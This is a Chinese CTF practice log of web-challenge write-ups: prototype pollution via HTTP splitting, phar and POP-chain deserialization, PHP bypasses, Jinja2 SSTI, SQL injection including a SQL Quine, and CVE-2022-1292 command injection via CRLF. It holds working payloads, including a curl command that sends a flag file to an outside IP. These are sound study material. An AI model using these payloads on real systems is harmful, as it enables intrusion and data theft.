刷题记录(2023.3.6 - 2023.3.11)

news2024/12/23 15:15:33

  我很喜欢这周的感觉,前两道题对着 wp 简略复现了一下,由于以前都是自己学习,对一些稍微多、稍微难的题都会马上避开,笨小孩逃避太久了,有些事逃不掉,总得面对,开始往往很难,多花点时间,总能过去,所以课余时间全都来刷题目,以前的长链子、python、go、网络交互等都没有要求自己看,底子差就得努努力,这周虽然花了很多时间看懂题目和师傅们的脚本,但是在复现完后的畅快总会让我很兴奋 XD。

[西湖论剑 2022]real_ez_node

“用 /curl 路由来构造 SSRF 打 /copy 路由下的 原型链污染”

__proto__ 被过滤,使用 constructor.prototype 绕过”

“通过访问 /curl 利用 HTTP 走私向 /copy 发送 POST 请求,然后污染原型链实现代码执行”

payload 脚本

import urllib.parse

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl 47.113.221.205:12345/`cat /flag.txt`')"}
'''.replace("\n","\r\n")

def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100+ord(i))
    return tmp
    
payload = encode(payload)
print(urllib.parse.quote(payload))
#%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C4%8D%C4%8A%C5%90%C5%8F%C5%93%C5%94%C4%A0%C4%AF%C5%A3%C5%AF%C5%B0%C5%B9%C4%A0%C5%88%C5%94%C5%94%C5%90%C4%AF%C4%B1%C4%AE%C4%B1%C4%8D%C4%8A%C5%88%C5%AF%C5%B3%C5%B4%C4%BA%C4%A0%C4%B1%C4%B2%C4%B7%C4%AE%C4%B0%C4%AE%C4%B0%C4%AE%C4%B1%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%94%C5%B9%C5%B0%C5%A5%C4%BA%C4%A0%C5%A1%C5%B0%C5%B0%C5%AC%C5%A9%C5%A3%C5%A1%C5%B4%C5%A9%C5%AF%C5%AE%C4%AF%C5%AA%C5%B3%C5%AF%C5%AE%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%AE%C5%A5%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C4%BA%C4%A0%C5%A3%C5%AC%C5%AF%C5%B3%C5%A5%C4%8D%C4%8A%C5%83%C5%AF%C5%AE%C5%B4%C5%A5%C5%AE%C5%B4%C4%AD%C5%8C%C5%A5%C5%AE%C5%A7%C5%B4%C5%A8%C4%BA%C4%A0%C4%B1%C4%B5%C4%B5%C4%8D%C4%8A%C4%8D%C4%8A%C5%BB%C4%A2%C5%A3%C5%AF%C5%AE%C5%B3%C5%B4%C5%B2%C5%B5%C5%A3%C5%B4%C5%AF%C5%B2%C4%AE%C5%B0%C5%B2%C5%AF%C5%B4%C5%AF%C5%B4%C5%B9%C5%B0%C5%A5%C4%AE%C5%AF%C5%B5%C5%B4%C5%B0%C5%B5%C5%B4%C5%86%C5%B5%C5%AE%C5%A3%C5%B4%C5%A9%C5%AF%C5%AE%C5%8E%C5%A1%C5%AD%C5%A5%C4%A2%C4%BA%C4%A2%C5%9F%C5%B4%C5%AD%C5%B0%C4%B1%C4%BB%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC%C4%AE%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%AE%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5%C4%AE%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5%C4%A8%C4%A7%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3%C4%A7%C4%A9%C4%AE%C5%A5%C5%B8%C5%A5%C5%A3%C4%A8%C4%A7%C5%A3%C5%B5%C5%B2%C5%AC%C4%A0%C4%B4%C4%B7%C4%AE%C4%B1%C4%B1%C4%B3%C4%AE%C4%B2%C4%B2%C4%B1%C4%AE%C4%B2%C4%B0%C4%B5%C4%BA%C4%B1%C4%B2%C4%B3%C4%B4%C4%B5%C4%AF%C5%A0%C5%A3%C5%A1%C5%B4%C4%A0%C4%AF%C5%A6%C5%AC%C5%A1%C5%A7%C4%AE%C5%B4%C5%B8%C5%B4%C5%A0%C4%A7%C4%A9%C4%A2%C5%BD%C4%8D%C4%8A

脚本分析:

打到服务器端口,监听

nc -lvvp 8989

vps 没通

复现参考文章:
https://blog.csdn.net/jyttttttt/article/details/128875462
https://blog.csdn.net/qq_61768489/article/details/128893726
https://ctf.njupt.edu.cn/archives/822
https://xz.aliyun.com/t/12128#toc-4

[CISCN 2019华北Day1]Web1

注册了个 admin/123 可以直接登

一般不是关于登录框的洞

可以上传文件 gif / jpg / png

上传后可以对已上传文件进行 下载 / 删除 操作

分别对 上传 / 下载 / 删除 抓包,在下载 /download.php 的 filename 参数,可以利用读取任意文件

在这里插入图片描述
把主要文件源码读出来,这里直接跑出来就行

../../index.php
../../download.php
../../upload.php
../../delete.php
../../register.php
../../login.php
../../class.php

前面的文件都比较正常没什么切入点,而且考点不是登录,在 class.php 可以看到这是一个简单的文件管理系统

有三个类:
User 类:用户登录、注册、验证功能
FileList 类:页面 UI 实现的文件列表,还有文件的下载和删除功能
File 类:文件的基本操作,打开、关闭、获取文件名、获取文件大小、删除

在 file 类可以看到 close 方法内返回了一个敏感函数

如果要调用 file_get_contents() 函数,可以利用在 __destrust() 触发的 $this->db->close();

$this->db = new FileList() 就能调用 file_get_contents() 函数

  public function close() {
      return file_get_contents($this->filename);
  }
<?php

class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

本地运行或访问获得 phar 文件,如果报错,把 php.ini 的 phar.readonly 改为 Off 且前面分号去掉

生成的 phar,改后缀名上传,然后删除的时候抓包,改参读取,得到 flag

在这里插入图片描述

复现参考文章:
https://blog.csdn.net/weixin_44077544/article/details/102844554
https://www.cnblogs.com/kevinbruce656/p/11316070.html
https://xz.aliyun.com/t/2715

[NISACTF 2022]popchains

先看大体三个类,对应看含有的方法

有 __wakeup() 有 unserialize

找控制点 Try_Work_Hard 内有个 __invoke() 方法调用了 append() 方法可以把 $var 传给 $value ,执行 include() 文件包含

触发 __invoke() 的情况是以调用函数的方式调用一个对象时,方法会被自动调用,我们可以看到 Make_a_Change 中的 __get() 方法内含有一个 return $function() ,如果 $effort 存的是我们 new 的对象,就会调用 __invoke()

接着就是如何触发 __get(),可以调用不存在的属性,系统会自动触发,可以看到 Road_is_Long 里的 return $this->string->page; 返回 $a->string->page,也就是 $a 对象中的 string 属性的值的 page 属性的值

所以 string 可以赋 Make_a_Change 对象,最后就是 __toString() 的触发

__toString() 的触发我们 new 一个对象后使用即可

Road_is_Long---__wakeup()
Road_is_Long---__wakeup()
Road_is_Long---__toString()
Make_a_Change---__get()
Try_Work_Hard---__invoke()
Try_Work_Hard---append()

最后对应构造调试代码 pop 链子

<?php
class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
        echo "Road_is_Long---__construct". "<br/>";
        echo '<pre>' . var_dump($this->page) . '</pre>'. "<br/>". "<br/>";  
    }
    public function __toString(){
        echo "Road_is_Long---__toString". "<br/>";
        echo '<pre>' . var_dump($this->string->page) . '</pre>'. "<br/>". "<br/>";  
        return $this->string->page;  
    }
 
    public function __wakeup(){
        echo "Road_is_Long---__wakeup". "<br/>";
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
            echo '<pre>' . var_dump($this->page) . '</pre>'. "<br/>". "<br/>";  
        }
    }
}
 
class Try_Work_Hard{
    protected  $var = "/flag";
    public function append($value){
        echo "Try_Work_Hard---include". "<br/>";
        include($value);
        echo '<pre>' . var_dump($value) . '</pre>'. "<br/>". "<br/>";  
    }
    public function __invoke(){
        echo "Try_Work_Hard---__invoke---append". "<br/>";
        $this->append($this->var);
        echo '<pre>' . var_dump($this->append($this->var)) . '</pre>'. "<br/>". "<br/>";  
    }
}
 
class Make_a_Change{
    public $effort;
    public function __construct(){
        echo "Make_a_Change---__construct". "<br/>";
        $this->effort = array();
        echo '<pre>' . var_dump($this->effort) . '</pre>'. "<br/>". "<br/>";  
    }
 
    public function __get($key){
        echo "Make_a_Change---__get". "<br/>";
        $function = $this->effort;
        echo '<pre>' . var_dump($function) . '</pre>'. "<br/>". "<br/>"; 
        return $function(); 
    }
}


$a_page=new Road_is_Long();
$b_string=new Road_is_Long();
$c_effort=new Make_a_Change();
$d_include=new Try_Work_Hard();
 
$a_page -> page=$b_string;
$b_string -> string=$c_effort;
$c_effort -> effort=$d_include;
 
/**********************Try to See flag.php*****************************/ 

echo urlencode(serialize($a_page)). "<br/>";
echo "<br/>";



简化

<?php
 
class Road_is_Long{
    public $page;
    public $string;
}
 
class Try_Work_Hard{
    protected  $var = "/flag";
}
 
class Make_a_Change{
    public $effort;
} 

$a_page=new Road_is_Long();
$b_string=new Road_is_Long();
$c_effort=new Make_a_Change();
$d_include=new Try_Work_Hard();
 
$a_page -> page=$b_string;
$b_string -> string=$c_effort;
$c_effort -> effort=$d_include;

echo urlencode(serialize($a_page));

payload

?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A9%3A%22index.php%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

[NSSCTF 2022 Spring Recruit]babyphp

四个 if

if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a']))

preg_match 可以使用数组绕过

if(isset($_POST['b1'])&&$_POST['b2'])
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2']))

md5 强比较,也可以用数组

if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))

md5 弱比较,可以用 md5 值为 0e 开头的字符串比较,当 md5 值的前缀为 0e 时,PHP 中的类型转换会将它们视为科学计数法表示的数字,并将字符串转换为数字进行比较。科学计数法中的 e 表示指数,0 的任何次幂都为 0。

payload:

a[]=1&&b1[]=1&&b2[]=2&&c1=QNKCDZO&&c2=s878926199a

[NCTF 2018]flask真香

关于 flask 的考点我见过的有 SSTI、CSRF、路由配置、SQL、文件上传

这里如果不看标签分析,简单的看一下页面,demo 2-8 都是不存在的页面,其余的链接都会跳转出去。

有报错看报错,没有看到暴露的参数

在这里插入图片描述

在URL测注入点

{{7*'7'}}

在这里插入图片描述
渲染引擎:Jinja2

有过滤,被过滤后发送请求不会在URL后显示
在这里插入图片描述

class
config
getattr
import
builtins
os
open
eval
func_globals
{{()['__cl''ass__'].__bases__[0]['__subcl''asses__']()}}

URL/[<class '_bz2.BZ2Decompressor'>, <class 'iterator'>, <class '_ctypes.DictRemover'>, <class '_frozen_importlib._installed_safely'>, <class 'sre_parse.Tokenizer'>, <class 'str'>

整理搜索 os 模块前一个 warnings.catch_warnings 模块

object.subclasses()[59].init.globals.builtins 下有 eval,import 等的全局函数

在这里插入图片描述
在这里插入图片描述

这次随机的下标为 357

payload:

()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[357].__init__.__globals__['__bui''ltins__']['ev''al']("__imp''ort__("o''s").po""pen('whoami').read()")

[SWPUCTF 2021 新生赛]sql

源码,参数是 wllm

?wllm=1

Your Login name:xxx
Your Password:yyy

在这里插入图片描述
709 是被过滤的

=
 
and
left
right
substr
handler
updatexml
extractvalue
into
outfile
load_file
reverse
1'order/**/by/**/3/**/%23

Your Login name:xxx
Your Password:yyy
1'order/**/by/**/4/**/%23

Unknown column '4' in 'order clause'

三个字段

-1'union/**/select/**/1,2,3/**/%23

Your Login name:2
Your Password:3

两个回显点

-1'union/**/select/**/1,database(),version()/**/%23

Your Login name:test_db
Your Password:10.2.29-MariaDB-log

查库,走流程,简单的习惯直接 database()

-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/%23

Your Login name:2
Your Password:LTLT_flag,users

查表

-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/%23

Your Login name:2
Your Password:id,flag,id,username,

查列

-1'union/**/select/**/1,2,flag/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:NSSCTF{2922bac4-d670

回显截断,没读完,只读了 20 个字符
截取字符串常用函数 mid(), substr(), left(), right(), substring(), substring_index()

mid(), substr() 等价 substring()

对比过滤的字符,就剩 mid 可用了

-1'union/**/select/**/1,2,mid(flag,21,20)/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:-4399-8ab0-69b3570f0
-1'union/**/select/**/1,2,mid(flag,41,20)/**/from/**/LTLT_flag/**/%23

Your Login name:2
Your Password:987}

[第五空间 2021]yet_another_mysql_injection

源码

<!-- /?source -->

过滤

regexp
 
between
in
flag
=
>
<
and
|
right
left
reverse
update
extractvalue
substr
floor
&
;
$
0x
sleep

这里有两个主要的 if

 if (!$row) {
     alertMes("something wrong",'index.php');
 }
 if ($row['password'] === $password) {
     die($FLAG);
 } else {
 alertMes("wrong password",'index.php');

如果 $password 与查询到的结果集匹配,就过第一个 if,否则回显 something wrong

盲注模糊搜索查

1'or/**/password/**/like/**/'1%'#

没学过python,如果是比赛可以直接套用脚本跑,自己学习的话笨点,手测到 e 的时候回显 wrong password

用盲注脚本跑可以跑出来密码,登录就有 flag

但是这里考的知识点是 SQL-Quine,而且不会 python,现学一下 Quine

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术

Quine SQL 它要求查询能够以自身代码为输入,输出其自身代码

Quine SQL通常由两部分组成:查询部分和输出部分。查询部分负责从数据库中检索出自身代码,而输出部分则负责输出该代码。

Quine 需要用到 replace 函数,没被过滤

REPLACE ( string_expression , string_pattern , string_replacement )

https://learn.microsoft.com/en-us/sql/t-sql/functions/replace-transact-sql?view=sql-server-ver16

string_expression
Is the string expression to be searched. string_expression can be of a character or binary data type.

string_pattern
Is the substring to be found. string_pattern can be of a character or binary data type. string_pattern must not exceed the maximum number of bytes that fits on a page. If string_pattern is an empty string (''), string_expression is returned unchanged.

string_replacement
Is the replacement string. string_replacement can be of a character or binary data type.

主要还是看了一眼文档写的三个参数都支持字符或二进制数据类型

char(46) 对应 .
char(39) 对应 '
char(34) 对应 "

跟着试试

我习惯用 Navicat 测

mysql>
mysql> select replace(".",char(46),".");
+---------------------------+
| replace(".",char(46),".") |
+---------------------------+
| .                         |
+---------------------------+
1 row in set (0.04 sec)

. 被替换为 .,最后返回 .

mysql>
mysql> select replace(".",char(46),'replace(".",char(46),".")');
+---------------------------------------------------+
| replace(".",char(46),'replace(".",char(46),".")') |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
1 row in set (0.04 sec)

. 被检测到,被替换为 replace(".",char(46),"."),最后返回 replace(".",char(46),".")

mysql> 
mysql> select replace('replace(".",char(46),".")',char(46),".");
+---------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),".") |
+---------------------------------------------------+
| replace(".",char(46),".")                         |
+---------------------------------------------------+
1 row in set (0.04 sec)

replace(".",char(46),".") 里的 . 被检测到,替换为 .,最后返回 replace(".",char(46),".")

mysql>
mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+---------------------------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.04 sec)

mysql> 

replace(".",char(46),".") 里的 . 被检测到,替换为 replace(".",char(46),"."),最后返回 replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")")

手动替换后就知道是为什么了,现在差标点不一致,试过就知道全引号会报错,输出是双引号,输入是单引号,考虑把双改为单,但是不能全改,需要改的双引号位置有点刁钻,为了不改变不需要改变的内容,再替换一次即可

双替换单

replace('"."',char(34),char(39))
mysql> select replace('"."',char(34),char(39));
+----------------------------------+
| replace('"."',char(34),char(39)) |
+----------------------------------+
| '.'                              |
+----------------------------------+
1 row in set (0.04 sec)

再套一层替换为 str

replace(replace('"."',char(34),char(39)),char(46),"str")
mysql> select replace(replace('"."',char(34),char(39)),char(46),"str");
+----------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),"str") |
+----------------------------------------------------------+
| 'str'                                                    |
+----------------------------------------------------------+
1 row in set (0.04 sec)

整理试试

外单引号

replace(replace('.',char(34),char(39)),char(46),'.')

内双引号

replace(replace(".",char(34),char(39)),char(46),".")

结合

replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

结果:

mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
同理,套入这题:

源码语句

$sql="SELECT password FROM users WHERE username='admin' and pass word='$pass word';";

构造一个注入语句,这里是外为单引号

1'union select replace(replace('str',char(34),char(39)),char(46),'str')#

构造一个替换语句,这里是内为双引号

1"union select replace(replace(".",char(34),char(39)),char(46),".")#

放进去合起来

1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#

换空格(最后 payload)

1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

参考文章:https://www.cnblogs.com/zhengna/p/15917521.html

[CISCN 2022 初赛]online_crt

这题当时也没头绪,看了这题的标签 CVE-2022-1292

可操作 /etc/ssl/certs/ 目录的攻击者可注入恶意命令,以 c_rehash 脚本的权限执行任意命令。

CVE-2022-1292 先知社区分析:https://xz.aliyun.com/t/11703

先看看网站,跟名字一样,是在线 crt 证书生成
在这里插入图片描述

四个路由

/
/getcrt
/createlink
/proxy

proxy 路由的参数 uri 是可利用 CRLF 注入漏洞进行控制的

回车符(CR,ASCII 13,\r,%0d)
换行符(LF,ASCII 10,\n,%0a)

@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

第一个直接将路径中的/替换为%2f
GO 脚本这里可以传入两个参数,满足路径不为空和 HOST 为 admin 即可过,即用 CRLF 篡改为 Host: admin

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

c.Request.URL.RawPath 表示请求 URL 的未经解码的路径部分,其中包含参数,但不包含主机名和方案。如果请求 URL 中不包含路径,则 RawPath 为空字符串。

@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)

c_rehash
  - hash_dir

sub hash_dir {
	my %hashlist;
	print "Doing $_[0]\n";
	chdir $_[0];
	opendir(DIR, ".");
	
	# 根据 CVE-2022-1292 先知社区分析,问题出在这里, 将该目录所有文件名读入到flist数组, 但没有处理, 导致文件名命令注入的可能
	my @flist = sort readdir(DIR);
	
	closedir DIR;
	if ( $removelinks ) {
		# Delete any existing symbolic links
		foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
			if (-l $_) {
				print "unlink $_" if $verbose;
				unlink $_ || warn "Can't unlink $_, $!\n";
			}
		}
	}
	FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
		# Check to see if certificates and/or CRLs present.
		my ($cert, $crl) = check_file($fname);
		if (!$cert && !$crl) {
			print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
			next;
		}
		link_hash_cert($fname) if ($cert);
		link_hash_cert_old($fname) if ($cert);
		link_hash_crl($fname) if ($crl);
		link_hash_crl_old($fname) if ($crl);
	}
}

将该目录所有文件名读入到 flist 数组,但没有处理,这里后续还有 perl 的其他解析

最后传入使用 ` ` 反引号包裹的命令即可

先 生成一个证书

static/crt/324dda55-5b24-4309-b5e5-f20ba569e01d.crt

得到证书名,构造 CRLF 注入语句进行篡改

/admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close


拼接后报文变为:

GET /admin/rename?oldname=324dda55-5b24-4309-b5e5-f20ba569e01d.crt&newname=`echo Y2F0IC8qIA==|base64 --decode|bash>x.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
 
HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

先对 admin/ 的 / 和命令里的空格进行URL 编码,然后再整体编码一次

/admin%252frename%3Foldname%3D324dda55-5b24-4309-b5e5-f20ba569e01d.crt%26newname%3D%60echo%20Y2F0IC8qIA%3D%3D%7Cbase64%20--decode%7Cbash%3Ex.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AContent-Length%3A%20136%0D%0AConnection%3A%20close%0D%0A

在 /proxy 处触发,普通命令没有回显的地方,写入文件

命令

cat /* 

Bash 脚本执行

echo Y2F0IC8qIA==|base64 --decode|bash>flag.txt

在这里插入图片描述

访问 /createlink 路由调用 c_rehash 触发命令执行

在这里插入图片描述

/static/crt/flag.txt

在这里插入图片描述

参考文章:
https://www.cnblogs.com/yesec/p/16345525.html
https://xz.aliyun.com/t/11703
https://www.freebuf.com/column/202762.html

URL 脚本替换出处:
https://blog.csdn.net/qq_62078839/article/details/125144431

import urllib.parse
uri = '''/admin%2frename?oldname=7ec49aae-99df-427f-8f73-fc12504b0ff6.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1
Host: admin
Content-Length: 136
Connection: close
'''
gopher = uri.replace("\n","\r\n")
aaa = urllib.parse.quote(gopher)
print(aaa)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/404450.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

大数据下的协调者Zookeeper详解

Zookeeper框架 为什么要学习Zookeeper框架 1、Zookeeper是作为大数据生态圈框架中非常重要的一员 2、Zookeeper单独使用没有意义&#xff0c;主要是用来管理其他框架&#xff0c;被称为动物管理员 3、后期Hadoop的高可用框架、Kafka都需要依赖ZookeeperZookeeper的概述 1、Z…

C++回顾(二十四)—— set / multiset容器

24.1 set概述 set是一个集合容器&#xff0c;其中所包含的元素是唯一的&#xff0c;集合中的元素按一定的顺序排列。元素插入过程是按排序规则插入&#xff0c;所以不能指定插入位置。set采用红黑树变体的数据结构实现&#xff0c;红黑树属于平衡二叉树。在插入操作和删除操作…

Spring——AOP核心概念和AOP入门案例

AOP:面向切面编程&#xff0c;一种编程范式&#xff0c;指导开发者如何组织程序结构 作用:在不惊动原始设计的基础上进行功能增强 Spring理念:无侵入式编程 比如测试一个方法的万次执行时间&#xff0c;原本没有Aop需要这样写 public void save() {Long stSystem.currentTim…

Java开发 - 消息队列之Kafka初体验

目录 前言 Kafka 什么是Kafka Kafka软件结构 Kafka的特点 怎么启动Kafka 下载Kafka 配置Kafka Zookeeper 启动Kafka Kafka案例 添加依赖 添加配置 配置启动类 创建生产者 创建消费者 测试 结语 前言 前几日总结了消息队列的一些知识&#xff0c;相信看完的同…

【博客631】监控网卡与进程网络IO使用情况

监控进程的网络IO使用情况 1、vnstat 由于 vnstat 依赖于内核提供的信息&#xff0c;因此执行以下命令来验证内核是否提供了 vnStat 所期望的所有信息&#xff1a; # vnstat --testkernel This test will take about 60 seconds. Everything is ok.不带任何参数的 vnstat 将…

设计模式(十九)----行为型模式之命令模式

1、概述 日常生活中&#xff0c;我们出去吃饭都会遇到下面的场景。 定义&#xff1a; 将一个请求封装为一个对象&#xff0c;使发出请求的责任和执行请求的责任分割开。这样两者之间通过命令对象进行沟通&#xff0c;这样方便将命令对象进行存储、传递、调用、增加与管理。命…

UE官方教程笔记03-功能、术语、操作简介

对官方教程视频[官方培训]03-UE功能、术语、操作简介 | 徐良安 Epic的笔记这一部分基本都是走马观花的简单介绍功能世界创建建模Mesh editingtool是一个全新的建模工具&#xff0c;具备大多数的主流建模软件的核心功能HOUDINI ENGINE FOR UNREALHoudini编辑器&#xff0c;可以用…

springboot2集成knife4j

springboot2集成knife4j springboot2集成knife4j 环境说明集成knife4j 第一步&#xff1a;引入依赖第二步&#xff1a;编写配置类第三步&#xff1a;测试一下 第一小步&#xff1a;编写controller第二小步&#xff1a;启动项目&#xff0c;访问api文档 相关资料 环境说明 …

C++回顾(二十一)—— list容器

21.1 list概述 list是一个双向链表容器&#xff0c;可高效地进行插入删除元素。list不可以随机存取元素&#xff0c;所以不支持at.(pos)函数与[]操作符。It(ok) it5(err)需要添加头文件&#xff1a;#include <list> 21.2 list构造 &#xff08;1&#xff09;默认构造…

摘花生(简单DP)

Hello Kitty想摘点花生送给她喜欢的米老鼠。她来到一片有网格状道路的矩形花生地(如下图)&#xff0c;从西北角进去&#xff0c;东南角出来。地里每个道路的交叉点上都有种着一株花生苗&#xff0c;上面有若干颗花生&#xff0c;经过一株花生苗就能摘走该它上面所有的花生。Hel…

手写代码理解vue响应式原理

vue2响应式应用了Object.defineProperty&#xff0c;vue3中的响应式则是运用proxy。 目录标题1、defineProperty2、代码理解defineProperty3、手写vue2响应式原理4、vue2监听数组响应式5、Proxy理解6、总结1、defineProperty Object.defineProperty(obj, prop, descriptor) ob…

【8.索引篇】

索引分类 索引和数据就是位于存储引擎中&#xff1a; 按「数据结构」分类&#xff1a;Btree索引、Hash索引、Full-text索引。按「物理存储」分类&#xff1a;聚簇索引&#xff08;主键索引&#xff09;、二级索引&#xff08;辅助索引&#xff09;。按「字段特性」分类&#…

linux字符设备和块设备的区别 以及网络设备

一、字符设备 1、字符设备以字节为单位。大多数设备是字符设备&#xff0c;因为他们不需要缓冲而且不以固定块大小进行操作。 2、字符设备无需缓冲直接读写。 3、字符设备只能被顺序读写。 二、块设备 1、块设备只能以块为单位接受输入和输出。 2、块设备对I/0请求有对应的缓冲…

建立自己的博客

环境安装&#xff1a; w10系统安装 第一步&#xff1a;安装git Git 官网: https://git-scm.com/ 第二步&#xff1a;安装Node.js Node.js官网&#xff1a;https://nodejs.org/zh-cn/ 使用cmd检测&#xff1a; node -v 第三步&#xff1a;安装Hexo Hexo官网&#xff1a;htt…

PyInstaller 将DLL文件打包进exe

PyInstaller 将DLL文件打包进exe方法1&#xff1a;通过--add-data命令方法2&#xff1a;通过修改 .spec扩展&#xff1a;博主热门文章推荐&#xff1a;方法1&#xff1a;通过–add-data命令 注意&#xff1a;这里 dll末尾添加的.为当前目录&#xff0c;则该dll要放到main.py同一…

【零基础入门学习Python---Python的五大数据类型之字符串类型】

